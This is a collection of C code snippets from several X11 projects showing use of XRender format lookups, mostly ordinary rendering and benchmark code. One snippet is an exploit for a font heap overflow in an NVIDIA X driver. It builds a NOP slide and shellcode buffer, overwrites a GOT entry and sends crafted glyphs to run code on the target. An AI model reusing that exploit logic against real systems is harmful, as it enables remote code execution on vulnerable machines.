static Picture createPicture(Pixmap pix, int depth) { if (pix == None) return None; if (renderformats[ depth ] == NULL) { switch(depth) { case 1: renderformats[ 1 ] = XRenderFindStandardFormat(display(), PictStandardA1); break; case 8: renderformats[ 8 ] = XRenderFindStandardFormat(display(), PictStandardA8); break; case 24: renderformats[ 24 ] = XRenderFindStandardFormat(display(), PictStandardRGB24); break; case 32: renderformats[ 32 ] = XRenderFindStandardFormat(display(), PictStandardARGB32); break; default: { XRenderPictFormat req; long mask = PictFormatType | PictFormatDepth; req.type = PictTypeDirect; req.depth = depth; renderformats[ depth ] = XRenderFindFormat(display(), mask, &req, 0); break; } } if (renderformats[ depth ] == NULL) { kWarning(1212) << "Could not find XRender format for depth" << depth; return None; } } return XRenderCreatePicture(display(), pix, renderformats[ depth ], 0, NULL); }
// LookReturn a pointer to |aFormat| that lives in the Xrender library. // All code using render formats assumes it doesn't need to copy. static XRenderPictFormat* GetXRenderPictFormatFromId(Display* aDisplay, PictFormat aFormatId) { XRenderPictFormat tmplate; tmplate.id = aFormatId; return XRenderFindFormat(aDisplay, PictFormatID, &tmplate, 0); }
/** Find the appropriate format on the requested screen given the * internal format requested. The list of formats is searched * sequentially as the XRenderFindFormat() function does not always * find the appropriate format when a specific format is requested. */ static XRenderPictFormat *dmxFindFormat(DMXScreenInfo *dmxScreen, PictFormatPtr pFmt) { XRenderPictFormat *pFormat = NULL; int i = 0; if (!pFmt || !dmxScreen->beDisplay) return pFormat; while (1) { pFormat = XRenderFindFormat(dmxScreen->beDisplay, 0, 0, i++); if (!pFormat) break; if (pFormat->type != pFmt->type) continue; if (pFormat->depth != pFmt->depth) continue; if (pFormat->direct.red != pFmt->direct.red) continue; if (pFormat->direct.redMask != pFmt->direct.redMask) continue; if (pFormat->direct.green != pFmt->direct.green) continue; if (pFormat->direct.greenMask != pFmt->direct.greenMask) continue; if (pFormat->direct.blue != pFmt->direct.blue) continue; if (pFormat->direct.blueMask != pFmt->direct.blueMask) continue; if (pFormat->direct.alpha != pFmt->direct.alpha) continue; if (pFormat->direct.alphaMask != pFmt->direct.alphaMask) continue; /* We have a match! */ break; } return pFormat; }
static XRenderPictFormat * _XftDrawFgFormat (XftDraw *draw) { XRenderPictFormat pf; if (draw->visual == 0) { pf.type = PictTypeDirect; pf.depth = 1; pf.direct.alpha = 0; pf.direct.alphaMask = 1; return XRenderFindFormat (draw->dpy, (PictFormatType| PictFormatDepth| PictFormatAlpha| PictFormatAlphaMask), &pf, 0); } else { pf.type = PictTypeDirect; pf.depth = 32; pf.direct.redMask = 0xff; pf.direct.greenMask = 0xff; pf.direct.blueMask = 0xff; pf.direct.alphaMask = 0xff; return XRenderFindFormat (draw->dpy, (PictFormatType| PictFormatDepth| PictFormatRedMask| PictFormatGreenMask| PictFormatBlueMask| PictFormatAlphaMask), &pf, 0); } }
int backing_init(backing_t *backing, Display *dpy, Window root, int width, int height, int depth) { XRenderPictFormat templ; int screen = DefaultScreen(dpy); unsigned long gcm; XGCValues gcv; backing->dpy = dpy; backing->root = root; backing->active = 0; gcm = 0; gcm |= GCSubwindowMode; gcv.subwindow_mode = IncludeInferiors; backing->gc = XCreateGC(backing->dpy, backing->root, gcm, &gcv); backing->root_pixmap = 0; backing->brush_pixmap = 0; backing->total_width = width; backing->total_height = height; backing->depth = depth; backing->root_pict = 0; backing->brush_pict = 0; backing->root_format = XRenderFindVisualFormat(dpy,DefaultVisual(dpy, screen)); templ.type = PictTypeDirect; templ.depth = 32; templ.direct.alpha = 24; templ.direct.alphaMask = 0xff; templ.direct.red = 16; templ.direct.redMask = 0xff; templ.direct.green = 8; templ.direct.greenMask = 0xff; templ.direct.blue = 0; templ.direct.blueMask = 0xff; backing->brush_format = XRenderFindFormat (dpy, PictFormatType| PictFormatDepth| PictFormatAlpha| PictFormatAlphaMask| PictFormatRed| PictFormatRedMask| PictFormatGreen| PictFormatGreenMask| PictFormatBlue| PictFormatBlueMask, &templ, 0); return 0; }
XftDraw *XftDrawCreateAlpha( Display *display, Pixmap pixmap, int depth ) { // taken from Xft 1 sources, see copyright above XftDraw *draw; draw = (XftDraw *) malloc (sizeof (XftDraw)); if (!draw) return 0; draw->dpy = display; draw->drawable = pixmap; draw->visual = 0; draw->colormap = 0; draw->core_set = False; draw->clip = 0; // Qt addition - go ahead and create the render picture now draw->render_set = True; draw->render_able = False; if ( qt_use_xrender ) { draw->render_able = True; XRenderPictFormat *format = 0; XRenderPictFormat req; unsigned long mask = PictFormatType | PictFormatDepth | PictFormatAlphaMask; req.type = PictTypeDirect; req.depth = depth; req.direct.alphaMask = 0xff; format = XRenderFindFormat(draw->dpy, mask, &req, 0); if (format) { draw->render.pict = XRenderCreatePicture(draw->dpy, draw->drawable, format, 0, 0); } // to keep Xft from trying to free zero pixmaps/pictures, we need to create // 2 more pictures (that are identical to draw->render.pict) :/ draw->render.src[0].pict = XRenderCreatePicture( draw->dpy, draw->drawable, format, 0, 0 ); draw->render.src[1].pict = XRenderCreatePicture( draw->dpy, draw->drawable, format, 0, 0 ); } return draw; }
static XRenderPictFormat * _XftDrawFormat (XftDraw *draw) { if (draw->visual == 0) { XRenderPictFormat pf; pf.type = PictTypeDirect; pf.depth = 1; pf.direct.alpha = 0; pf.direct.alphaMask = 1; return XRenderFindFormat (draw->dpy, (PictFormatType| PictFormatDepth| PictFormatAlpha| PictFormatAlphaMask), &pf, 0); } else return XRenderFindVisualFormat (draw->dpy, draw->visual); }
int InitFixedTrapezoids(XParms xp, Parms p, int reps) { int i, numTraps; int rows; int x, y; int size, skew; XTrapezoid *curTrap; XRenderColor color; pgc = xp->fggc; size = p->special; numTraps = p->objects; traps = (XTrapezoid *)malloc(numTraps * sizeof(XTrapezoid)); curTrap = traps; x = size; y = 0; rows = 0; skew = size; aadraw = XftDrawCreate (xp->d, xp->w, xp->vinfo.visual, xp->cmap); if (p->font && !strcmp (p->font, "add")) { XRenderPictFormat templ; templ.type = PictTypeDirect; templ.depth = 8; templ.direct.alpha = 0; templ.direct.alphaMask = 0xff; maskFormat = XRenderFindFormat (xp->d, PictFormatType | PictFormatDepth | PictFormatAlpha | PictFormatAlphaMask, &templ, 0); } else maskFormat = 0; color.red = 0; color.green = 0; color.blue = 0; color.alpha = 0xffff; if (!XftColorAllocValue (xp->d, xp->vinfo.visual, xp->cmap, &color, &aablack)) { XftDrawDestroy (aadraw); aadraw = 0; return 0; } color.red = 0xffff; color.green = 0xffff; color.blue = 0xffff; color.alpha = 0xffff; if (!XftColorAllocValue (xp->d, xp->vinfo.visual, xp->cmap, &color, &aawhite)) { XftDrawDestroy (aadraw); aadraw = 0; return 0; } for (i = 0; i != p->objects; i++, curTrap ++) { curTrap->top = XDoubleToFixed (y); curTrap->bottom = XDoubleToFixed (y + size); curTrap->left.p1.x = XDoubleToFixed (x - skew); curTrap->left.p1.y = XDoubleToFixed (y); curTrap->left.p2.x = XDoubleToFixed (x + skew - size); curTrap->left.p2.y = XDoubleToFixed (y + size); curTrap->right.p1.x = XDoubleToFixed (x - skew + size); curTrap->right.p1.y = XDoubleToFixed (y); curTrap->right.p2.x = XDoubleToFixed (x + skew); curTrap->right.p2.y = XDoubleToFixed (y + size); skew--; if (skew < 0) skew = size; y += size; rows++; if (y + size > HEIGHT || rows == MAXROWS) { rows = 0; y = 0; x += 2 * size; if (x + size > WIDTH) { x = size; } } } SetFillStyle(xp, p); return reps; }
void X11EmbedContainer::setBackgroundPixmap(QPixmap background) { if (!clientWinId()) { return; } Display *display = QX11Info::display(); Pixmap bg = XCreatePixmap(display, clientWinId(), width(), height(), d->attr.depth); XRenderPictFormat *format = XRenderFindVisualFormat(display, d->attr.visual); Picture picture = XRenderCreatePicture(display, bg, format, 0, 0); //Prevent updating the background-image if possible. Updating can cause a very annoying flicker due to the XClearArea, and thus has to be kept to a minimum QImage image; if (background.paintEngine()->type() != QPaintEngine::X11) image = background.toImage(); // With the raster graphics system this call just returns the backing image, so the image data isn't copied. else image = background.copy().toImage(); //With the X11 graphics engine, we have to create a copy first, else we get a crash if(d->oldBackgroundImage == image) { XFreePixmap(display, bg); XRenderFreePicture(display, picture); return; } d->oldBackgroundImage = image; if (background.paintEngine()->type() != QPaintEngine::X11) { XRenderPictFormat *format = 0; int depth = 0; int bpp = 0; if (image.format() == QImage::Format_ARGB32_Premultiplied) { format = XRenderFindStandardFormat(display, PictStandardARGB32); depth = 32; bpp = 32; } else if (image.format() == QImage::Format_RGB32) { format = XRenderFindStandardFormat(display, PictStandardRGB24); depth = 24; bpp = 32; } else if (image.format() == QImage::Format_RGB16) { bpp = 16; depth = 16; // Try to find a picture format that matches the image format. // The Render spec doesn't require the X server to support 16bpp formats, // so this call can fail. XRenderPictFormat templ; templ.type = PictTypeDirect; templ.direct.alpha = 0; templ.direct.alphaMask = 0; templ.depth = 16; templ.direct.red = 11; templ.direct.redMask = 0x1f; templ.direct.green = 5; templ.direct.greenMask = 0x3f; templ.direct.blue = 0; templ.direct.blueMask = 0x1f; format = XRenderFindFormat(display, PictFormatType | PictFormatDepth | PictFormatAlpha | PictFormatAlphaMask | PictFormatRed | PictFormatRedMask | PictFormatGreen | PictFormatGreenMask | PictFormatBlue | PictFormatBlueMask, &templ, 0); } if (format == 0) { // Convert the image to a standard format. if (image.hasAlphaChannel()) { image = image.convertToFormat(QImage::Format_ARGB32_Premultiplied); format = XRenderFindStandardFormat(display, PictStandardARGB32); depth = 32; } else { image = image.convertToFormat(QImage::Format_RGB32); format = XRenderFindStandardFormat(display, PictStandardRGB24); depth = 24; } bpp = 32; } if (image.format() == QImage::Format_RGB32) { // Make sure the would be alpha bits are set to 1. quint32 * const pixels = (quint32*)(const_cast<const QImage*>(&image)->bits()); for (int i = 0; i < image.width() * image.height(); i++) { pixels[i] |= 0xff000000; } } Q_ASSERT(format != 0); // Get the image data into a pixmap XImage ximage; ximage.width = image.width(); ximage.height = image.height(); ximage.xoffset = 0; ximage.format = ZPixmap; // This is a hack to prevent the image data from detaching ximage.data = (char*) const_cast<const QImage*>(&image)->bits(); #if Q_BYTE_ORDER == Q_BIG_ENDIAN ximage.byte_order = MSBFirst; #else ximage.byte_order = LSBFirst; #endif ximage.bitmap_unit = bpp; ximage.bitmap_bit_order = ximage.byte_order; ximage.bitmap_pad = bpp; ximage.depth = depth; ximage.bytes_per_line = image.bytesPerLine(); ximage.bits_per_pixel = bpp; if (depth > 16) { ximage.red_mask = 0x00ff0000; ximage.green_mask = 0x0000ff00; ximage.blue_mask = 0x000000ff; } else { // r5g6b5 ximage.red_mask = 0xf800; ximage.green_mask = 0x07e0; ximage.blue_mask = 0x001f; } ximage.obdata = 0; if (XInitImage(&ximage) == 0) { XRenderFreePicture(display, picture); XFreePixmap(display, bg); return; } Pixmap pm = XCreatePixmap(display, clientWinId(), width(), height(), ximage.depth); GC gc = XCreateGC(display, pm, 0, 0); XPutImage(display, pm, gc, &ximage, 0, 0, 0, 0, width(), height()); XFreeGC(display, gc); Picture pict = XRenderCreatePicture(display, pm, format, 0, 0); XRenderComposite(display, PictOpSrc, pict, None, picture, 0, 0, 0, 0, 0, 0, width(), height()); XRenderFreePicture(display, pict); XFreePixmap(display, pm); } else { XRenderComposite(display, PictOpSrc, background.x11PictureHandle(), None, picture, 0, 0, 0, 0, 0, 0, width(), height()); } XSetWindowBackgroundPixmap(display, clientWinId(), bg); XRenderFreePicture(display, picture); XFreePixmap(display, bg); XClearArea(display, clientWinId(), 0, 0, 0, 0, True); }
_X_HIDDEN XftDisplayInfo * _XftDisplayInfoGet (Display *dpy, FcBool createIfNecessary) { XftDisplayInfo *info, **prev; XRenderPictFormat pf; int i; int event_base, error_base; for (prev = &_XftDisplayInfo; (info = *prev); prev = &(*prev)->next) { if (info->display == dpy) { /* * MRU the list */ if (prev != &_XftDisplayInfo) { *prev = info->next; info->next = _XftDisplayInfo; _XftDisplayInfo = info; } return info; } } if (!createIfNecessary) return NULL; info = (XftDisplayInfo *) malloc (sizeof (XftDisplayInfo)); if (!info) goto bail0; info->codes = XAddExtension (dpy); if (!info->codes) goto bail1; (void) XESetCloseDisplay (dpy, info->codes->extension, _XftCloseDisplay); info->display = dpy; info->defaults = NULL; info->solidFormat = NULL; info->hasRender = (XRenderQueryExtension (dpy, &event_base, &error_base) && (XRenderFindVisualFormat (dpy, DefaultVisual (dpy, DefaultScreen (dpy))) != NULL)); info->use_free_glyphs = FcTrue; if (info->hasRender) { int major, minor; XRenderQueryVersion (dpy, &major, &minor); if (major < 0 || (major == 0 && minor <= 2)) info->use_free_glyphs = FcFalse; pf.type = PictTypeDirect; pf.depth = 32; pf.direct.redMask = 0xff; pf.direct.greenMask = 0xff; pf.direct.blueMask = 0xff; pf.direct.alphaMask = 0xff; info->solidFormat = XRenderFindFormat (dpy, (PictFormatType| PictFormatDepth| PictFormatRedMask| PictFormatGreenMask| PictFormatBlueMask| PictFormatAlphaMask), &pf, 0); } if (XftDebug () & XFT_DBG_RENDER) { Visual *visual = DefaultVisual (dpy, DefaultScreen (dpy)); XRenderPictFormat *format = XRenderFindVisualFormat (dpy, visual); printf ("XftDisplayInfoGet Default visual 0x%x ", (int) visual->visualid); if (format) { if (format->type == PictTypeDirect) { printf ("format %d,%d,%d,%d\n", format->direct.alpha, format->direct.red, format->direct.green, format->direct.blue); } else { printf ("format indexed\n"); } } else printf ("No Render format for default visual\n"); printf ("XftDisplayInfoGet initialized, hasRender set to \"%s\"\n", info->hasRender ? "True" : "False"); } for (i = 0; i < XFT_NUM_SOLID_COLOR; i++) { info->colors[i].screen = -1; info->colors[i].pict = 0; } info->fonts = NULL; info->next = _XftDisplayInfo; _XftDisplayInfo = info; info->glyph_memory = 0; info->max_glyph_memory = XftDefaultGetInteger (dpy, XFT_MAX_GLYPH_MEMORY, 0, XFT_DPY_MAX_GLYPH_MEMORY); if (XftDebug () & XFT_DBG_CACHE) printf ("global max cache memory %ld\n", info->max_glyph_memory); info->num_unref_fonts = 0; info->max_unref_fonts = XftDefaultGetInteger (dpy, XFT_MAX_UNREF_FONTS, 0, XFT_DPY_MAX_UNREF_FONTS); if (XftDebug() & XFT_DBG_CACHE) printf ("global max unref fonts %d\n", info->max_unref_fonts); memset (info->fontHash, '\0', sizeof (XftFont *) * XFT_NUM_FONT_HASH); return info; bail1: free (info); bail0: if (XftDebug () & XFT_DBG_RENDER) { printf ("XftDisplayInfoGet failed to initialize, Xft unhappy\n"); } return NULL; }
int main(int argc, char *argv[]) { Display *display; Widget toplevel; XtAppContext app_con; XEvent event; char c, *string; unsigned int i; XDataStr *data; XExposeEvent *expose = (XExposeEvent *)&event; unsigned int heapaddr, gotaddr; if (argc > 2) { heapaddr = strtoul(argv[1],NULL,0); gotaddr = strtoul(argv[2],NULL,0); } else { printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]); return 0; } toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0, &argc, argv, NULL, NULL, 0); display = XtDisplay(toplevel); data = (XDataStr *)malloc(sizeof(XDataStr)); if (data == NULL) { perror("malloc"); exit(EXIT_FAILURE); } data->display = display; data->app = app_con; if (createWin(data) < 0) { fprintf(stderr, "can't create Data Window"); exit(EXIT_FAILURE); } show(data); signal(SIGINT, sigHandler); signal(SIGHUP, sigHandler); signal(SIGQUIT, sigHandler); signal(SIGTERM, sigHandler); /************************************************************************ * BEGIN FONT HEAP OVERFLOW SETUP CODE * * "It's so hard to write a graphics driver that open-sourcing it would * not help." * - Andrew Fear, Software Product Manager (NVIDIA Corporation). **********************************************************************/ XGlyphInfo * glyphs; XRenderPictFormat fmt; XRenderPictFormat *mask = 0; GlyphSet gset; char * buf =0; int offset, cr, numB; int xscreenpos = 32680; int magic_len = 32768 - xscreenpos; int wr_addr_len = 3548; int wr_nop_len = 200; /* Calculate the offset to the Global Offset Table. * 0x2C0000 is the size of the buffer the NVIDIA driver * allocates for us when it is about to draw. */ offset = gotaddr-(heapaddr-0x2C0000); offset += magic_len; glyphs = malloc(sizeof(XGlyphInfo)*3); /* Payload glyph */ glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */ glyphs[0].height = 1; glyphs[0].yOff = 0; glyphs[0].xOff = glyphs[0].width; glyphs[0].x = 0; glyphs[0].y = 0; /* Large offset glyph (untweaked) */ glyphs[1].width=0; glyphs[1].height=0; glyphs[1].yOff=32767; glyphs[1].xOff=0; glyphs[1].x = 0; glyphs[1].y = 0; /* Small offset glyph (tweaked) */ glyphs[2].width=0; glyphs[2].height=0; glyphs[2].yOff=0; glyphs[2].xOff=0; glyphs[2].x = 0; glyphs[2].y = 0; fmt.type = PictTypeDirect; fmt.depth = 8; Glyph * xglyphids = malloc(3*sizeof(Glyph)); xglyphids[0] = 'A'; xglyphids[1] = 'B'; xglyphids[2] = 'C'; int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */ int bufsize = stride*glyphs[0].height; buf = malloc(bufsize); /* Write jump address to the buffer a number of times */ for (cr=0; cr<wr_addr_len; cr+=4) { *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4; } /* Write the NOP instructions until wr_nop_len */ memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len); /* Write the shellcode */ cr+=wr_nop_len; memcpy(buf+cr, shellcode, sizeof(shellcode)); /* Calculate the number of B's required to send */ numB = offset / (glyphs[1].yOff * magic_len); /* We send only one C, but we change its yOff value according to * how much space we have left before we meet the correct index length */ glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len); /* Now create a new buffer for the string data */ string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/); for (cr=0; cr<numB; cr++) string[cr] = 'B'; string[cr] = 'C'; cr++; string[cr] = 'A'; cr++; string[cr] = 0; mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0); gset = XRenderCreateGlyphSet(display, mask); if (mask) { /* Ask the server to tie the glyphs to the glyphset we created, * with our addr/nopslide/shellcode buffer as the alpha data. */ XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize); } /* END FONT HEAP OVERFLOW SETUP CODE */ done = 0; while (!done) { XNextEvent(display, &event); switch(event.type) { case KeyPress: i = XLookupString(&event.xkey, &c, 1, NULL, NULL); if ((i == 1) && ((c == 'q') || (c == 'Q'))) { done = 1; } break; case Expose: XftDrawRect(data->draw, &data->bg, expose->x, expose->y, expose->width, expose->height); /* Send malignant glyphs and execute shellcode on target */ XRenderCompositeString8(display, PictOpOver, XftDrawSrcPicture(data->draw, &data->color), XftDrawPicture(data->draw), mask, gset, 0, 0, xscreenpos, 0, string, strlen(string)); break; } } free(glyphs); free(xglyphids); free(buf); free(string); XFlush(display); XUnmapWindow(data->display, data->win); XUngrabKeyboard(data->display, CurrentTime); XCloseDisplay(display); exit(EXIT_SUCCESS); }
int main (int argc, char* argv[]) { /* Determine number of iterations. */ if (2 != argc) { printf("usage: %s <num-iterations>\n", argv[0]); exit(1); } int numIterations = atoi(argv[1]); int returnCode = 0; Display* xDisplay = NULL; Window xWindow = 0; Picture xPictureWindow = 0; Pixmap xPixmapMain = 0; Picture xPictureMain = 0; Pixmap xPixmapOverlay = 0; Picture xPictureOverlay = 0; Pixmap xPixmapMask = 0; Picture xPictureMask = 0; GC gcMask = 0; /* Access X display. */ if (NULL == (xDisplay = XOpenDisplay(NULL))) { printf("XOpenDisplay(NULL) failed\n"); returnCode = 1; goto error; } /* Access info about the screen. */ Screen* xScreen = XDefaultScreenOfDisplay(xDisplay); GC gc = XDefaultGCOfScreen(xScreen); Colormap xColormap = XDefaultColormapOfScreen(xScreen); /* Create main X window */ xWindow = XCreateSimpleWindow( xDisplay, RootWindow(xDisplay, 0), 0, 0, IMAGE_WIDTH*2, IMAGE_HEIGHT*2, 0, BlackPixel(xDisplay, 0), BlackPixel(xDisplay, 0)); if (0 == xWindow) { printf("XCreateSimpleWindow failed\n"); returnCode = 1; goto error; } XMapWindow(xDisplay, xWindow); XSync(xDisplay, False); /* Get the attributes associated with the main window. */ XWindowAttributes xWindowAttr; if (!XGetWindowAttributes(xDisplay, xWindow, &xWindowAttr)) { printf("XGetWindowAttributes failed\n"); returnCode = 1; goto error; } /* Find the X render picture format associated with the visual */ /* for the main window */ XRenderPictFormat* xRenderPictFormatWindow = XRenderFindVisualFormat(xDisplay, xWindowAttr.visual); if (NULL == xRenderPictFormatWindow) { printf("XRenderFindVisualFormat failed\n"); returnCode = 1; goto error; } /* Find the X render picture format associated with 8 bit alpha. */ XRenderPictFormat xRenderPictFormatTemplate; xRenderPictFormatTemplate.depth = 8; xRenderPictFormatTemplate.type = PictTypeDirect; xRenderPictFormatTemplate.direct.alphaMask = 0x0FF; unsigned long xRenderPictFormatTemplateMask = PictFormatDepth | PictFormatType | PictFormatAlphaMask; XRenderPictFormat* xRenderPictFormatMask = XRenderFindFormat( xDisplay, xRenderPictFormatTemplateMask, &xRenderPictFormatTemplate, 0); if (NULL == xRenderPictFormatMask) { printf("XRenderFindFormat failed\n"); returnCode = 1; goto error; } /* Create X render picture associated with the screen. */ /* Having the same visual format as the window. */ xPictureWindow = XRenderCreatePicture( xDisplay, xWindow, xRenderPictFormatWindow, 0, NULL); if (0 == xPictureWindow) { printf("XRenderCreatePicture (window) failed\n"); returnCode = 1; goto error; } /* Create backing pixmap for the main window. */ xPixmapMain = XCreatePixmap( xDisplay, xWindow, xWindowAttr.width, xWindowAttr.height, xWindowAttr.depth); if (0 == xPixmapMain) { printf("XCreatePixmap (main) failed\n"); returnCode = 1; goto error; } /* Create X render picture associated with the backing pixmap. */ /* Having the same visual format as the window. */ xPictureMain = XRenderCreatePicture( xDisplay, xPixmapMain, xRenderPictFormatWindow, 0, NULL); if (0 == xPictureMain) { printf("XRenderCreatePicture (main) failed\n"); returnCode = 1; goto error; } /* Draw concentric rectangles of different gray. */ unsigned i; for (i = 0; i < 256; ++i) { float fGray = i / 255.0; /* Find the color gray. */ XcmsColor xColorGray; xColorGray.spec.RGBi.red = fGray; xColorGray.spec.RGBi.green = fGray; xColorGray.spec.RGBi.blue = fGray; xColorGray.format = XcmsRGBiFormat; if (0 == XcmsAllocColor( xDisplay, xColormap, &xColorGray, XcmsRGBFormat)) { printf("XcmsAllocColor failed\n"); returnCode = 1; goto error; } /* Change the drawing color for the main window. */ XSetForeground(xDisplay, gc, xColorGray.pixel); XDrawRectangle( xDisplay, xPixmapMain, gc, i, i, (IMAGE_WIDTH - i) * 2 - 1, (IMAGE_HEIGHT - i) * 2 - 1); } XRenderComposite( xDisplay, PictOpSrc, xPictureMain, /* src */ 0, /* mask */ xPictureWindow, /* dst */ 0, 0, /* src (x,y) */ 0, 0, /* mask (x,y) */ 0, 0, /* dst (x,y) */ xWindowAttr.width, xWindowAttr.height); XSync(xDisplay, False); /* Create pixmap for the overlay content. */ xPixmapOverlay = XCreatePixmap( xDisplay, xWindow, IMAGE_WIDTH, IMAGE_HEIGHT, xWindowAttr.depth); if (0 == xPixmapOverlay) { printf("XCreatePixmap (overlay) failed\n"); returnCode = 1; goto error; } /* Create X render picture assocaited with the overlay pixmap. */ /* Having the same visual format as the window. */ xPictureOverlay = XRenderCreatePicture( xDisplay, xPixmapOverlay, xRenderPictFormatWindow, 0, NULL); if (0 == xPictureOverlay) { printf("XRenderCreatePicture (overlay) failed\n"); returnCode = 1; goto error; } /* Fill the overlay with black to be used for overlay color. */ XSetForeground(xDisplay, gc, XBlackPixelOfScreen(xScreen)); XFillRectangle( xDisplay, xPixmapOverlay, gc, 0, 0, IMAGE_WIDTH, IMAGE_HEIGHT); /* Create pixmap for the mask content. */ xPixmapMask = XCreatePixmap( xDisplay, xWindow, IMAGE_WIDTH, IMAGE_HEIGHT, 8); if (0 == xPixmapMask) { printf("XCreatePixmap (mask) failed\n"); returnCode = 1; goto error; } /* Create X render picture assocaited with the mask pixmap. */ xPictureMask = XRenderCreatePicture( xDisplay, xPixmapMask, xRenderPictFormatMask, 0, NULL); if (0 == xPictureMask) { printf("XRenderCreatePicture (mask) failed\n"); returnCode = 1; goto error; } /* Create a GC to go with mask */ gcMask = XCreateGC(xDisplay, xPixmapMask, 0, NULL); XSetForeground(xDisplay, gcMask, 0x00000000); XFillRectangle( xDisplay, xPixmapMask, gcMask, 0, 0, IMAGE_WIDTH, IMAGE_HEIGHT); XSetForeground(xDisplay, gcMask, 0x40404040); XDrawRectangle( xDisplay, xPixmapMask, gcMask, 0, 0, IMAGE_WIDTH-1, IMAGE_HEIGHT-1); XFillArc( xDisplay, xPixmapMask, gcMask, 100, 100, 100, 100, 0, /* start angle-degrees * 64 */ 360 * 64); /* extent angle-degrees * 64 */ Bool bIncX = True; Bool bIncY = True; Bool bNextRow = False; int x = 0; int y = 0; struct timeval timeStart; gettimeofday(&timeStart, NULL); int iter; for (iter = 0; iter < numIterations; ++iter) { XRenderComposite( xDisplay, PictOpSrc, xPictureMain, /* src */ 0, /* mask */ xPictureWindow, /* dst */ x, y, /* src (x,y) */ 0, 0, /* mask (x,y) */ x, /* dst x */ y, /* dst y */ IMAGE_WIDTH, IMAGE_HEIGHT); if (bNextRow) { if (bIncY) { if ((y += 10) >= IMAGE_HEIGHT) { y = IMAGE_HEIGHT - 1; bIncY = False; } } else { if ((y -= 10) < 0) { y = 0; bIncY = True; } } bNextRow = False; } else { if (bIncX) { if (++x >= IMAGE_WIDTH) { x = IMAGE_WIDTH - 1; bIncX = False; bNextRow = True; } } else { if (--x < 0) { x = 0; bIncX = True; bNextRow = True; } } } XRenderComposite( xDisplay, PictOpOver, xPictureOverlay,/* src */ xPictureMask, /* mask */ xPictureWindow, /* dst */ 0, 0, /* src (x,y) */ 0, 0, /* mask (x,y) */ x, /* dst x */ y, /* dst y */ IMAGE_WIDTH, IMAGE_HEIGHT); } XSync(xDisplay, False); struct timeval timeEnd; gettimeofday(&timeEnd, NULL); double elapsedSec = getElapsedMicroseconds(&timeStart, &timeEnd) / 1000000L; double fps = numIterations / elapsedSec; printf("average update rate = %.1lf FPS\n", fps); error: if (0 != gcMask) { XFreeGC(xDisplay, gcMask); gcMask = 0; } if (0 != xPictureMask) { XRenderFreePicture(xDisplay, xPictureMask); xPictureMask = 0; } if (0 != xPixmapMask) { XFreePixmap(xDisplay, xPixmapMask); xPixmapMask = 0; } if (0 != xPictureOverlay) { XRenderFreePicture(xDisplay, xPictureOverlay); xPictureOverlay = 0; } if (0 != xPixmapOverlay) { XFreePixmap(xDisplay, xPixmapOverlay); xPixmapOverlay = 0; } if (0 != xPictureMain) { XRenderFreePicture(xDisplay, xPictureMain); xPictureMain = 0; } if (0 != xPixmapMain) { XFreePixmap(xDisplay, xPixmapMain); xPixmapMain = 0; } if (0 != xPictureWindow) { XRenderFreePicture(xDisplay, xPictureWindow); xPictureWindow = 0; } if (0 != xWindow) { XDestroyWindow(xDisplay, xWindow); xWindow = 0; } if (NULL != xDisplay) { XCloseDisplay(xDisplay); xDisplay = NULL; } return returnCode; }